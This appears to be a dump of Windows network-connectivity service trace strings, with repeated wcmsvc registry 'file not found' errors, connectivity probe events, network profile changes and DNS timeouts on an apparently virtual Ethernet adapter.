onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBD0) ReturnHr(39) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(55) tid(984) 80070002 The system cannot find the file specified. TokenManager::ApplyDomainPolicyFilter: No action for ethernet candidate fMinimizeConnections fMinimizeConnections fMinimizeConnections fBlockRoaming fBlockRoaming fBlockRoaming fDisablePowerManagement fDisablePowerManagement fDisablePowerManagement onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF35C73: (caller: 00007FFC6AF36CFF) Exception(56) tid(984) 80070002 The system cannot find the file specified. fSoftDisconnectConnections fSoftDisconnectConnections Minimize: Keep, no Internet candidate found yet Minimize: Keep, manually connected Minimize: Connection desired for candidate Ethernet Ethernet onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF55EFC) Exception(57) tid(b74) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF55EFC) ReturnHr(40) tid(b74) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF55EFC) Exception(57) tid(b74) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF55F0F) Exception(58) tid(b74) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF55F0F) ReturnHr(41) tid(b74) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF55F0F) Exception(58) tid(b74) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF55F2A) Exception(59) tid(b74) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF55F2A) ReturnHr(42) tid(b74) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF55F2A) Exception(59) tid(b74) 80070002 The system cannot find the file specified. PerInterfaceWithProxy 194.230.81.147 PerInterfaceWithProxy Initial null PerInterfaceWithProxy Initial ActiveInternetProbe.Http onecoreuap\net\wcm\service\base\firewallmanager\FirewallRuleIterator.h(164)\wcmsvc.dll!00007FFC6AF7E516: (caller: 00007FFC6AF47D22) Exception(25) tid(980) 8007007F The specified procedure could not be found. Ethernet Ethernet Ethernet onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(29) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBA2) ReturnHr(19) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(29) tid(984) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(30) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBB5) ReturnHr(20) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(30) tid(984) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(31) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBD0) ReturnHr(21) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(31) tid(984) 80070002 The system cannot find the file specified. TokenManager::ApplyDomainPolicyFilter: No action for ethernet candidate fMinimizeConnections fMinimizeConnections fMinimizeConnections fBlockRoaming fBlockRoaming fBlockRoaming fDisablePowerManagement fDisablePowerManagement fDisablePowerManagement onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF35C73: (caller: 00007FFC6AF36CFF) Exception(33) tid(984) 80070002 The system cannot find the file specified. fSoftDisconnectConnections fSoftDisconnectConnections Minimize: Keep, no Internet candidate found yet Minimize: Keep, manually connected Minimize: Connection desired for candidate Ethernet Ethernet onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(37) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBA2) ReturnHr(25) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(37) tid(984) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(38) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBB5) ReturnHr(26) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(38) tid(984) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(39) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBD0) ReturnHr(27) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(39) tid(984) 80070002 The system cannot find the file specified. TokenManager::ApplyDomainPolicyFilter: No action for ethernet candidate fMinimizeConnections fMinimizeConnections fMinimizeConnections fBlockRoaming fBlockRoaming fBlockRoaming fDisablePowerManagement fDisablePowerManagement fDisablePowerManagement onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF35C73: (caller: 00007FFC6AF36CFF) Exception(40) tid(984) 80070002 The system cannot find the file specified. fSoftDisconnectConnections fSoftDisconnectConnections Minimize: Keep, no Internet candidate found yet Minimize: Keep, manually connected Minimize: Connection desired for candidate Ethernet Ethernet onecoreuap\net\wcm\service\base\firewallmanager\firewallmanager.cpp(378)\wcmsvc.dll!00007FFC6B01105F: (caller: 00007FFC6AF2EC9D) LogHr(3) tid(980) 8007007F The specified procedure could not be found. Msg:[onecoreuap\net\wcm\service\base\firewallmanager\FirewallRuleIterator.h(164)\wcmsvc.dll!00007FFC6AF7E516: (caller: 00007FFC6AF47D22) Exception(41) tid(980) 8007007F The specified procedure could not be found. 192.168.27.2 192.168.27.2 192.168.27.2 169.254.51.89 192.168.27.2 192.168.27.140 tIntel(R) 82574L Gigabit Network Connection Ethernet0 192.168.27.2 192.168.27.2 192.168.27.2 localdomain localdomain onecore\net\netprofiles\service\src\l3manager\lib\l3manager.cpp(1655)\netprofmsvc.dll!00007FFC7255E8D1: (caller: 00007FFC7252B68F) Exception(12) tid(7f0) 80070490 Element not found. 192.168.27.2 192.168.27.2 localdomain onecore\net\netprofiles\service\src\l3manager\lib\l3manager.cpp(1655)\netprofmsvc.dll!00007FFC7255E8D1: (caller: 00007FFC7252B68F) Exception(13) tid(7f0) 80070490 Element not found. localdomain onecore\net\netprofiles\service\src\l3manager\lib\l3manager.cpp(1655)\netprofmsvc.dll!00007FFC7255E8D1: (caller: 00007FFC7252B68F) Exception(14) tid(7f0) 80070490 Element not found. localdomain onecore\net\netprofiles\service\src\l3manager\lib\l3manager.cpp(1655)\netprofmsvc.dll!00007FFC7255E8D1: (caller: 00007FFC7252B68F) Exception(15) tid(7f0) 80070490 Element not found. 192.168.27.2 192.168.27.2 NP_EV_NETWORK_SIGNATURE_PROPERTY_CHANGE localdomain localdomain localdomain 192.168.27.2 localdomain Ethernet0 Intel(R) 82574L Gigabit Network Connection 192.168.27.2 Ethernet0 Intel(R) 82574L Gigabit Network Connection localdomain localdomain localdomain ProxyRedetection ProxyRedetection PerInterfaceWithProxy Initial PerInterfaceWithProxy Initial ActiveInternetProbe.Http ActiveInternetProbe.Http www.msftconnecttest.com connecttest.txt NP_EV_INTERFACE_PROPERTY_CHANGE NP_EV_NETWORK_PROFILE_PROPERTY_CHANGE NP_EV_NETWORK_LIST_CONNECTIVITY wcm_notification_cm_private_nla 194.230.81.147 Intel(R) 82574L Gigabit Network Connection Intel Corporation PCI\VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00\000C29FFFFF29C8B00 e1i68x64 \SystemRoot\System32\drivers\e1i68x64.sys 12.19.1.32 12.19.1.32 192.168.27.2 00:50:56:EF:6F:0C 192.168.27.2 Error: 10022 00:00:00:00:00:00 Error: 10022 www.msftconnecttest.com|connecttest.txt|Microsoft Connect Test|false {E33FA66E-DBEC-40A2-8AA4-E7C085F48539} 192.168.27.2 00:50:56:EF:6F:0C 192.168.27.2 Error: 10022 00:00:00:00:00:00 Error: 10022 192.168.27.254 Intel(R) 82574L Gigabit Network Connection Intel Corporation PCI\VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00\000C29FFFFF29C8B00 e1i68x64 \SystemRoot\System32\drivers\e1i68x64.sys 12.19.1.32 12.19.1.32 Initial PerInterfaceWithProxy PerInterfaceWithProxy Initial NP_EV_INTERFACE_PROPERTY_CHANGE localdomain localdomain localdomain localdomain wcm_notification_cm_private_nla localdomain 005056EF6F0C NP_EV_INTERFACE_DISCONNECTED PerInterfaceWithProxy Initial PerInterfaceWithProxy Initial PerInterfaceWithProxy Initial NULL {E33FA66E-DBEC-40A2-8AA4-E7C085F48539} 4Internet ActiveHttpProbeSucceeded NP_EV_NETWORK_PROFILE_PROPERTY_CHANGE onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(60) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBA2) ReturnHr(43) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(60) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(61) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBB5) ReturnHr(44) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(61) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(62) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBD0) ReturnHr(45) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(62) tid(970) 80070002 The system cannot find the file specified. Interface info onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF37939: (caller: 00007FFC6AF87D69) Exception(63) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF632C0) Exception(64) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF632C0) ReturnHr(46) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF632C0) Exception(64) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF632D3) Exception(65) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF632D3) ReturnHr(47) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF632D3) Exception(65) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF632EA) Exception(66) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF632EA) ReturnHr(48) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF632EA) Exception(66) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF55EFC) Exception(67) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF55EFC) ReturnHr(49) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF55EFC) Exception(67) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF55F0F) Exception(68) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF55F0F) ReturnHr(50) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF55F0F) Exception(68) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF55F2A) Exception(69) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF55F2A) ReturnHr(51) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF55F2A) Exception(69) tid(970) 80070002 The system cannot find the file specified. L2_NOTIFICATION_SOURCE_WCM wcm_notification_cm_private_nla NP_EV_NETWORK_SIGNATURE_DISCONNECTED NP_EV_NETWORK_SIGNATURE_DELETED NP_EV_NETWORK_PROFILE_DISCONNECTED {F3123279-6F20-4532-B61A-06F756C5D29C} NP_EV_NETWORK_PROFILE_DELETED 005056EF6F0C localdomain Network NP_EV_INTERFACE_CONNECTED NP_EV_NETWORK_SIGNATURE_CONNECTED NP_EV_NETWORK_PROFILE_CONNECTED {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} Network {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(70) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBA2) ReturnHr(52) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(70) tid(984) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(71) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBB5) ReturnHr(53) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(71) tid(984) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(72) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBD0) ReturnHr(54) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(72) tid(984) 80070002 The system cannot find the file specified. TokenManager::ApplyDomainPolicyFilter: No action for ethernet candidate fMinimizeConnections fMinimizeConnections fMinimizeConnections fBlockRoaming fBlockRoaming fBlockRoaming fDisablePowerManagement fDisablePowerManagement fDisablePowerManagement onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF35C73: (caller: 00007FFC6AF36CFF) Exception(73) tid(984) 80070002 The system cannot find the file specified. fSoftDisconnectConnections fSoftDisconnectConnections Minimize: Keep, no Internet candidate found yet Minimize: Keep, manually connected Minimize: Connection desired for candidate Minimize: Found Internet connected candidate Ethernet Ethernet onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(74) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBA2) ReturnHr(55) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(74) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(75) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBB5) ReturnHr(56) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(75) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(76) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBD0) ReturnHr(57) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(76) tid(970) 80070002 The system cannot find the file specified. Interface info onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF37939: (caller: 00007FFC6AF87D69) Exception(77) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF632C0) Exception(78) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF632C0) ReturnHr(58) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF632C0) Exception(78) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF632D3) Exception(79) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF632D3) ReturnHr(59) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF632D3) Exception(79) tid(970) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF632EA) Exception(80) tid(970) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF632EA) ReturnHr(60) tid(970) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF632EA) Exception(80) tid(970) 80070002 The system cannot find the file specified. L2_NOTIFICATION_SOURCE_WCM wcm_notification_cm_private_nla onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(81) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBA2) ReturnHr(61) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBA2) Exception(81) tid(984) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(82) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBB5) ReturnHr(62) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBB5) Exception(82) tid(984) 80070002 The system cannot find the file specified. onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(83) tid(984) 80070002 The system cannot find the file specified. onecoreuap\net\wcm\service\base\configmanager\configmanager.cpp(1342)\wcmsvc.dll!00007FFC6B00FEB2: (caller: 00007FFC6AF3BBD0) ReturnHr(63) tid(984) 80070002 The system cannot find the file specified. Msg:[onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF34517: (caller: 00007FFC6AF3BBD0) Exception(83) tid(984) 80070002 The system cannot find the file specified. TokenManager::ApplyDomainPolicyFilter: No action for ethernet candidate fMinimizeConnections fMinimizeConnections fMinimizeConnections fBlockRoaming fBlockRoaming fBlockRoaming fDisablePowerManagement fDisablePowerManagement fDisablePowerManagement onecore\private\net\inc\wcm\wcm_registry_key.h(372)\wcmsvc.dll!00007FFC6AF35C73: (caller: 00007FFC6AF36CFF) Exception(84) tid(984) 80070002 The system cannot find the file specified. fSoftDisconnectConnections fSoftDisconnectConnections Minimize: Keep, no Internet candidate found yet Minimize: Keep, manually connected Minimize: Connection desired for candidate Minimize: Found Internet connected candidate Ethernet Ethernet C:\WINDOWS\system32\svchost.exe {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} C:\WINDOWS\system32\svchost.exe ProxyRedetection JetDeleteTable JetDeleteTable SruWorkItemQueryProvider:ProviderQueryStats SruWorkItemQueryProvider:ProviderQueryStats Ethernet0 Intel(R) 82574L Gigabit Network Connection Ethernet SOFTWARE\Microsoft\DusmSvc\Settings Ethernet Ethernet NotTracked Unknown Ethernet Ethernet Ethernet NotTracked NotTracked Ethernet SOFTWARE\Microsoft\DusmSvc\Settings Ethernet Ethernet Ethernet Ethernet Ethernet NotTracked NotTracked Ethernet Ethernet SOFTWARE\Microsoft\DusmSvc\Settings Ethernet Ethernet NotTracked NotTracked Ethernet Ethernet SOFTWARE\Microsoft\DusmSvc\Settings Ethernet Ethernet Ethernet Ethernet NotTracked NotTracked Ethernet Public Ethernet Cost Cost Cost Ethernet User {E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Cost wcm_notification_cde_l2_available_connection_property_change wcm_notification_cm_private_session_change L2_NOTIFICATION_SOURCE_WCM wcm_notification_cm_private_session_change Windows.Networking.Connectivity.NetworkInformation Ethernet0 Ethernet0 null Windows.Networking.Connectivity.NetworkInformation Windows.Networking.Connectivity.NetworkInformationPrivate Ethernet0 Ethernet0 null Windows.Networking.Connectivity.NetworkInformation Windows.Networking.Connectivity.NetworkInformationPrivate Ethernet0 Ethernet0 null {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} DNS_ALL_SERVER_TIMEOUT Intel(R) 82574L Gigabit Network Connection Intel Corporation PCI\VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00\000C29FFFFF29C8B00 e1i68x64 \SystemRoot\System32\drivers\e1i68x64.sys 12.19.1.32 12.19.1.32 192.168.27.2 00:50:56:EF:6F:0C 192.168.27.2 Error: 10022 00:00:00:00:00:00 Error: 10022 DnsAllServerTimeout Intel(R) 82574L Gigabit Network Connection Intel Corporation PCI\VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00\000C29FFFFF29C8B00 e1i68x64 \SystemRoot\System32\drivers\e1i68x64.sys 12.19.1.32 12.19.1.32 192.168.27.2 00:50:56:EF:6F:0C 192.168.27.2 Error: 10022 00:00:00:00:00:00 Error: 10022 DNS_ALL_SERVER_TIMEOUT Intel(R) 82574L Gigabit Network Connection Intel Corporation PCI\VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00\000C29FFFFF29C8B00 e1i68x64 \SystemRoot\System32\drivers\e1i68x64.sys 12.19.1.32 12.19.1.32 192.168.27.2 00:50:56:EF:6F:0C 192.168.27.2 Error: 10022 00:00:00:00:00:00 Error: 10022 {E33FA66E-DBEC-40A2-8AA4-E7C085F48539} 192.168.27.254 wcm_notification_cm_private_nla 192.168.27.2 C:\WINDOWS\system32\svchost.exe http://www.msftconnecttest.com NULL NULL SruWorkItemQueryProvider:ProviderQueryStats WAN Miniport (IP) WAN Miniport (IPv6) WAN Miniport (Network Monitor) WAN Miniport (PPPOE) Software Loopback Interface 1 Microsoft Teredo Tunneling Adapter Microsoft IP-HTTPS Platform Adapter Microsoft 6to4 Adapter WAN Miniport (SSTP) WAN Miniport (IKEv2) WAN Miniport (L2TP) WAN Miniport (PPTP) L2_NOTIFICATION_SOURCE_WCM_CSP wcm_notification_cde_l2_available_connection_property_change NULL 